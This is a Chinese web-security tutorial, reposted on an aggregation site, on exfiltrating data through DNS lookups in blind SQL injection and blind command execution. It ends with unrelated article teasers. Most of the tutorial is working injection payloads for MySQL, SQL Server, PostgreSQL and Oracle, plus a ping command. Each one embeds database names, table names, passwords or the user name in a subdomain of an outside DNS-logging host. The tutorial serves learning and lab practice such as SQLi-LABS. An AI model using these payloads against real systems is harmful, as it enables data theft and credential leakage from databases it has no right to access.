Dnslog在SQL注入中的利用

参考文献:www.anquanke.com/post/id/98096
https://bbs.pediy.com/thread-223881.htm

DNSlog在Web攻击的利用

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过DNSlog把想获得的数据外带出来。

常用情况

SQL注入中的盲注
无回显的命令执行
无回显的SSRF

原理

img_bead50ab28f44f9ff52aaef30240573e.jpe
1.jpg

攻击者提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,只要能获得DNS的日志,就得到了想要的值。

  • 推荐一个免费的dnslog平台:http://ceye.io

1.命令执行

ping %USERNAME%.xxxxxx.ceye.io

img_e612bac055f4e46d49f22859a1348f18.png
1.png

2.MySQL

load_file
在MySQL中有个load_file()函数可以用来读取本地的文件,load_file()函数还可以用来发送dns解析请求
以SQLi-LABS 第五关为例:
payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+

img_a613e7d1609e94c2ef026d60fd4f2c1c.png
1.png

payload:
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxxx.ceye.io\\abc'))),1,1)--+
img_69c76cb8305e2882a94aa7c5df012533.png
2.png

concat()函数拼接了4个\了,因为转义的原因,\\\\就变成了\\,目的就是利用UNC路径

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。在Widnows中用共享文件的时候就会用到这种网络地址的形式\\sss.xxx\test\

  • Linux没有UNC路径这个东西,当MySQL处于Linux系统中的时候,不能使用这种方式外带数据的
img_e612bac055f4e46d49f22859a1348f18.png
1.png

3.msSQL

DECLARE @host varchar(1024);
SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 
FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');

4.postgreSQL

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgSQL SECURITY DEFINER;
SELECT temp_function();

5.SQL Server

存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹。

DECLARE @host varchar(1024);
注册一个名为@host的变量,类型为varchar。
SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';
获取db_name()然后转换成varchar类型,然后吧获取的db_name()返回值拼接到dnslog平台给我们的子域名里面,然后赋值给@host变量。
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
列远程主机的foobar$目录,由于是远程主机,所以会做一个dns解析,这样我们的dns平台就能得到日志了
http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--

6.Oracle

UTL_HTTP.REQUEST
select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.xxxxxx.ceye.io') FROM sys.DUAL;
DBMS_LDAP.INIT
select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.xxxxxx.ceye.io',80) FROM sys.DUAL;
HTTPURITYPE
select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.xxxxxx.ceye.io').GETCLOB() FROM sys.DUAL;
UTL_INADDR.GET_HOST_ADDRESS
select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.xxxxxx.ceye.io') FROM sys.DUAL; 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/282795.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

让泛型的思维扎根在脑海——深刻理解泛型

1.前言往往一些刚接触C#编程的初学者,对于泛型的认识就是直接跳到对泛型集合的使用上,虽然微软为我们提供了很多内置的泛型类型,但是如果我们只是片面的了解调用方式,这会导致我们对泛型盲目的使用。至于为什么要使用泛型&#xf…

fgetcsv()函数

fgetcsv()函数。fgetcsv()函数可以读取指定文件的当前行,使用CSV格式解析出字段,并返回一个包含这些字段的数组。语法格式如下:array fgetcsv(resource $handle [, int $length [, string $delimiter [, string $enclosure[,string $escape]]…

android 系统ui修改器,分享两个效果 - Android 系统 UI 管理

SystemUIManage.gifDimming the System Bars (沉浸模式)知乎 和 Medium 中都使用到了这个效果,作为沉浸式阅读模式。// This example uses decor view, but you can use any visible view.View decorView getWindow().getDecorView();int uiOptions View.SYSTEM_U…

打游戏要存进度-备忘录模式

打游戏要存进度-备忘录模式 学习自 《大话设计模式》 备忘录模式漫谈 备忘录的这种设计思想是非常常见的,比如说围棋游戏的悔棋,绘图软件的撤销功能等等,都或多或少的使用了备忘录模式来处理对象的状态。 备忘录(Memento): 在不破坏封装性的前…

(10.1)Python学习笔记二

1、在项目工程中要模块化测试一个开发的功能,在测试通过后交付给项目组其他人员继续开发。要保证代码开发的性能和效率以及可扩展性。 2、项目工程中的文件夹分类要功能模块明确清晰,在python中引入某一个 文件夹下的文件可以使用如下方式: t…

利用lay-ui结合ajax实现分页功能(不借助框架,简单易懂)

效果图: 1.创建html页面 01.html(前台文件) 2.创建index.php(后台文件) ------------------热身结束,开始正式分页之旅------------------ 3.在html页面中引入layui需要用到的css以及js,还有我们自己额外需要用到的jquery 4.在html文件中,将基本的分页栏显示出来 5.好啦,htm…

Linux系统压缩及解压缩

Linux系统解压缩概述:本篇将介绍Linux系统中的压缩和解压缩的工具,以及归档工具(tar,cpio)compress/uncompress:对应 .Z 结尾的压缩格式文件;gzip/gunzip:其对应的是 .gz 结尾的压缩…

酷派手机android版本,系统版本迎来升级

系统版本迎来升级这个应该是两个版本之间最大但是却不那么直观的不同了,因为从TD版酷派大神F1采用的CoolLife UI 5.0版本,再到联通版酷派大神F1所搭载的CoolLife UI 5.5版本,它们之间经历了一个比较不错的升级。在图标ICON,功能设…

学习RUNOOB.COM进度一

了解MongoDB 由C语言编写的,是一个基于分布式文件存储的开源数据库系统。在高负载的情况下,添加更多的节点,可以保证服务器性能。 特点 面向文档,操作简单容易 设置任何索引,实现更快排序 本地或者网络创建数据镜像&am…

最终用户计算安全——特权访问控制

本篇算是系列的第二篇,之前写了一篇关于勒索软件攻击的,坦白说写这样的文很费脑子,而且喜欢看的读者估计也不多…不过我觉得整理一下思路,对于通过最终用户计算产品或方案来提升组织安全还是有很大的意义的。所以一边喝着清茶吃着…

MVC学习九:MVC 特性本质

一、特性的本质就是:对属性、方法、类加特性,本质就是new 一个特性类对象赋值给属性、方法、类。 可以通过反射的方式取得特性的值,代码如下: ①自定义特性 public class MyAttribute:Attribute{public string Name { get; set; }…

前端知识点总结---面试专用

1.关于基础css html js部分 1.1基本算法 1&#xff09;快速排序 时间复杂度 nlogn function quickSort(arr){if (arr.length<1){return arr;}var pivotIndex 0,pivort arr.splice(pivortIndex, 1)[0];var left [],right [];for (var i 1, length arr.length; i < l…

鸿蒙系统大疆,华为操作系统“鸿蒙OS”来了!

原标题&#xff1a;华为操作系统“鸿蒙OS”来了&#xff01;8月9日&#xff0c;华为消费者业务CEO余承东在华为开发者大会上如期发布了华为鸿蒙操作系统“HarmonyOS”。据介绍&#xff0c;鸿蒙内核在2017年便完成技术验证&#xff0c;最初是为了提升操作系统的跨平台能力而研发…

详述 IntelliJ IDEA 插件的安装及使用方法

首先&#xff0c;进入插件安装界面&#xff1a; Mac&#xff1a;IntelliJ IDEA -> Preferences -> Plugins;Windows&#xff1a;File -> Settings -> Plugins.标注 1&#xff1a;显示 IntelliJ IDEA 的插件分类&#xff0c; All plugins&#xff1a;显示 IntelliJ …

杭漂两年,深漂两年,宇宙的尽头到底在哪儿

hi&#xff0c;这里是桑小榆。这次分享的是一位杭漂两年&#xff0c;深漂两年的码农伙伴的经历。首先他能够在大学期间就寻找到自己的热爱并持之以恒值得令人学习。其次他的工作经历可以说是非常的“程序员”&#xff0c;因为程序员所面对的职业生涯中&#xff0c;所谓的实习&a…

侣信即时通讯系统的技术解析

侣信&#xff1a; 说明&#xff1a; 侣信专业版是面向中小企业和者各类团队组织内部交流使用工具,可以在互联网或者局域网中使用。具有丰富的功能&#xff0c;聊天&#xff0c;群组&#xff0c;部门组织&#xff0c;内部朋友圈&#xff0c;以及漂流瓶摇一摇等功能。它可以在局域…

Confluence 6 使用 WebDAV 客户端来对页面进行操作

下面的部分告诉你如何在不同的系统中来设置原生的 WebDAV 客户端&#xff0c;这个客户端通常显示在你操作系统的文件浏览器中&#xff0c;例如&#xff0c;Windows 的 Windows Explorer 或者 Linux 的 Konqueror。在 Mac OSX Finder 中访问 Confluence你可以成功的连接&#xf…

.Net之接口小知识

目的通过一个简单的项目&#xff0c;在原来的文章基础上完善一下常用的几种WebApi编写方式以及请求方式&#xff0c;一方面是用于给我一个前端朋友用来学习调用接口&#xff0c;另一方面让我测试HttpClient的一些效果。本文示例代码环境&#xff1a;vs2022、net6准备新创建了一…

你所不知道的setTimeout

JavaScript提供定时执行代码的功能&#xff0c;叫做定时器&#xff08;timer&#xff09;&#xff0c;主要由setTimeout()和setInterval()这两个函数来完成。它们向任务队列添加定时任务。初始接触它的人都觉得好简单&#xff0c;实时上真的如此么&#xff1f;这里记载下&#…